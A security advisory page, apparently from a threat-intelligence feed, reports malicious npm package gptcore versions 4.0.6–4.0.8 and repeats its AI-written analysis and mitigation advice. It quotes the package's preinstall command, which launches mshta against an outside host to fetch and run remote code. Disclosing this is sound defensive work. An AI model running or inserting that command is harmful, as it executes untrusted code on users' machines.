MAL-2026-10204: Malicious code in gptcore (npm)
The gptcore npm package versions 4.0.6, 4.0.7, and 4.0.8 include a malicious preinstall script that executes a Windows command to launch mshta.exe and fetch code from an untrusted remote HTTP URL. This causes arbitrary HTA/JScript content from the remote host to run on the installer's machine during npm install. The remote content is unrelated to the package's documented purpose and is fetched without integrity verification or publisher trust.
AI Analysis
Technical Summary
The gptcore package (versions 4.0.6, 4.0.7, and 4.0.8) contains a preinstall lifecycle script that runs the command `cmd /c "mshta http://fixars.top"` on Windows systems during installation. This command launches mshta.exe to retrieve and execute HTA/JScript content from a hardcoded third-party HTTP URL. The remote content is not verified or related to the package's legitimate functionality, resulting in arbitrary code execution on the user's machine during npm install.
Potential Impact
Users installing affected versions of gptcore on Windows may have arbitrary code executed on their systems without consent, due to the automatic execution of a malicious preinstall script that fetches and runs remote code. This can lead to compromise of the installer's environment, data theft, or further malware installation.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid installing gptcore versions 4.0.6, 4.0.7, and 4.0.8. Verify package integrity and source before installation. Monitor for vendor advisories for potential fixes or updates. Since this is a malicious package behavior, removing or blocking the package from installation is recommended until a safe version is available.
MAL-2026-10204: Malicious code in gptcore (npm)
Description
The gptcore npm package versions 4.0.6, 4.0.7, and 4.0.8 include a malicious preinstall script that executes a Windows command to launch mshta.exe and fetch code from an untrusted remote HTTP URL. This causes arbitrary HTA/JScript content from the remote host to run on the installer's machine during npm install. The remote content is unrelated to the package's documented purpose and is fetched without integrity verification or publisher trust.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The gptcore package (versions 4.0.6, 4.0.7, and 4.0.8) contains a preinstall lifecycle script that runs the command `cmd /c "mshta http://fixars.top"` on Windows systems during installation. This command launches mshta.exe to retrieve and execute HTA/JScript content from a hardcoded third-party HTTP URL. The remote content is not verified or related to the package's legitimate functionality, resulting in arbitrary code execution on the user's machine during npm install.
Potential Impact
Users installing affected versions of gptcore on Windows may have arbitrary code executed on their systems without consent, due to the automatic execution of a malicious preinstall script that fetches and runs remote code. This can lead to compromise of the installer's environment, data theft, or further malware installation.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid installing gptcore versions 4.0.6, 4.0.7, and 4.0.8. Verify package integrity and source before installation. Monitor for vendor advisories for potential fixes or updates. Since this is a malicious package behavior, removing or blocking the package from installation is recommended until a safe version is available.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-10204
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a54ae0768715ace438f8519
Added to database: 07/13/2026, 09:21:11 UTC
Last enriched: 07/13/2026, 09:57:58 UTC
Last updated: 07/13/2026, 09:57:58 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.